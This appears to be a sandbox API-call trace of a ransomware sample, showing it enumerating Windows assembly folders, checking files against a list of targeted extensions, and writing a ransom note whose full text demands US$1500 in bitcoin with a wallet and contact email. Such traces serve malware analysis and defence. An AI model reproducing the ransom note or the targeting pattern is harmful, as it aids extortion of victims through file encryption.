(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.mpeg") returned 0 [0099.444] lstrlenA (lpString="*.mpeg") returned 6 [0099.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.djvu") returned 0 [0099.444] lstrlenA (lpString="*.djvu") returned 6 [0099.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.tiff") returned 0 [0099.444] lstrlenA (lpString="*.tiff") returned 6 [0099.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.backup") returned 0 [0099.444] lstrlenA (lpString="*.backup") returned 8 [0099.444] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.pdf") returned 0 [0099.444] lstrlenA (lpString="*.pdf") returned 5 [0099.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.cert") returned 0 [0099.445] lstrlenA (lpString="*.cert") returned 6 [0099.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.docm") returned 0 [0099.445] lstrlenA (lpString="*.docm") returned 6 [0099.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.xlsm") returned 0 [0099.445] lstrlenA (lpString="*.xlsm") returned 6 [0099.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.dwg") returned 0 [0099.445] lstrlenA (lpString="*.dwg") returned 5 [0099.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.nd") returned 0 [0099.445] lstrlenA (lpString="*.nd") returned 4 [0099.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.tlg") returned 0 [0099.445] lstrlenA (lpString="*.tlg") returned 5 [0099.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.lgb") returned 0 [0099.445] lstrlenA (lpString="*.lgb") returned 5 [0099.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.mov") returned 0 [0099.445] lstrlenA (lpString="*.mov") returned 5 [0099.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.xdw") returned 0 [0099.445] lstrlenA (lpString="*.xdw") returned 5 [0099.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.ods") returned 0 [0099.445] lstrlenA (lpString="*.ods") returned 5 [0099.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.wav") returned 0 [0099.445] lstrlenA (lpString="*.wav") returned 5 [0099.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.mp3") returned 0 [0099.446] lstrlenA (lpString="*.mp3") returned 5 [0099.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.aiff") returned 0 [0099.446] lstrlenA (lpString="*.aiff") returned 6 [0099.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.flac") returned 0 [0099.446] lstrlenA (lpString="*.flac") returned 6 [0099.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.m4a") returned 0 [0099.446] lstrlenA (lpString="*.m4a") returned 5 [0099.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", pszSpec="*.csv") returned 0 [0099.446] lstrlenA (lpString="*.csv") returned 5 [0099.446] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd36da4e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36da4e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd3700640, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x58da0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0099.446] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0099.446] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd36da4e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd36da4e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd36da4e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 0 [0099.446] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0099.446] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa310a250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa310a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa310a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69006c, dwReserved1=0x720063, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0", cAlternateFileName="MI8975~1.0")) returned 1 [0099.446] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0") returned -1 [0099.446] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0") returned -1 [0099.447] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0099.447] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0" [0099.447] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0") returned 87 [0099.447] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa310a250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa310a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa310a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0099.448] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.448] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa310a250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa310a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa310a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.448] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.448] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.448] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x587e0ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x587e0ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x587e0ed0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 1 [0099.448] lstrcmpA (lpString1=".", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.448] lstrcmpA (lpString1="..", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.448] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\*.*") returned="*.*" [0099.448] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\", lpString2="9.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a" [0099.448] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a") returned 113 [0099.448] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x587e0ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x587e0ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x587e0ed0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0099.449] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.449] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x587e0ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x587e0ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x587e0ed0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.449] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.449] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.449] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587e0ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x587e0ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x587e0ed0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0099.449] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0099.449] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll") returned -1 [0099.449] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll") returned -1 [0099.449] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll") returned -1 [0099.449] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0099.449] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" [0099.449] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="" [0099.449] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0099.449] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.word.addinadapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0099.450] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.word.addinadapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0099.452] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0099.452] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0099.453] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0099.453] CloseHandle (hObject=0x90) returned 1 [0099.454] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll" [0099.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.ems") returned 0 [0099.454] lstrlenA (lpString="*.ems") returned 5 [0099.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.db") returned 0 [0099.454] lstrlenA (lpString="*.db") returned 4 [0099.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.dbf") returned 0 [0099.454] lstrlenA (lpString="*.dbf") returned 5 [0099.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.myox") returned 0 [0099.454] lstrlenA (lpString="*.myox") returned 6 [0099.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.myo") returned 0 [0099.454] lstrlenA (lpString="*.myo") returned 5 [0099.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.qbw") returned 0 [0099.454] lstrlenA (lpString="*.qbw") returned 5 [0099.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.qbb") returned 0 [0099.454] lstrlenA (lpString="*.qbb") returned 5 [0099.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.qbm") returned 0 [0099.454] lstrlenA (lpString="*.qbm") returned 5 [0099.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.qbo") returned 0 [0099.454] lstrlenA (lpString="*.qbo") returned 5 [0099.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.qbx") returned 0 [0099.455] lstrlenA (lpString="*.qbx") returned 5 [0099.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.qba") returned 0 [0099.455] lstrlenA (lpString="*.qba") returned 5 [0099.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.qby") returned 0 [0099.455] lstrlenA (lpString="*.qby") returned 5 [0099.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.qbj") returned 0 [0099.455] lstrlenA (lpString="*.qbj") returned 5 [0099.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.ofx") returned 0 [0099.455] lstrlenA (lpString="*.ofx") returned 5 [0099.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.qif") returned 0 [0099.455] lstrlenA (lpString="*.qif") returned 5 [0099.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.mye") returned 0 [0099.455] lstrlenA (lpString="*.mye") returned 5 [0099.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.mbox") returned 0 [0099.455] lstrlenA (lpString="*.mbox") returned 6 [0099.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.eml") returned 0 [0099.455] lstrlenA (lpString="*.eml") returned 5 [0099.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.pst") returned 0 [0099.455] lstrlenA (lpString="*.pst") returned 5 [0099.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.ost") returned 0 [0099.456] lstrlenA (lpString="*.ost") returned 5 [0099.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Word.AddInAdapter.v9.0.dll", pszSpec="*.idx") returned 0 [0099.456] lstrlenA (lpString="*.idx") returned 5 [0099.456] 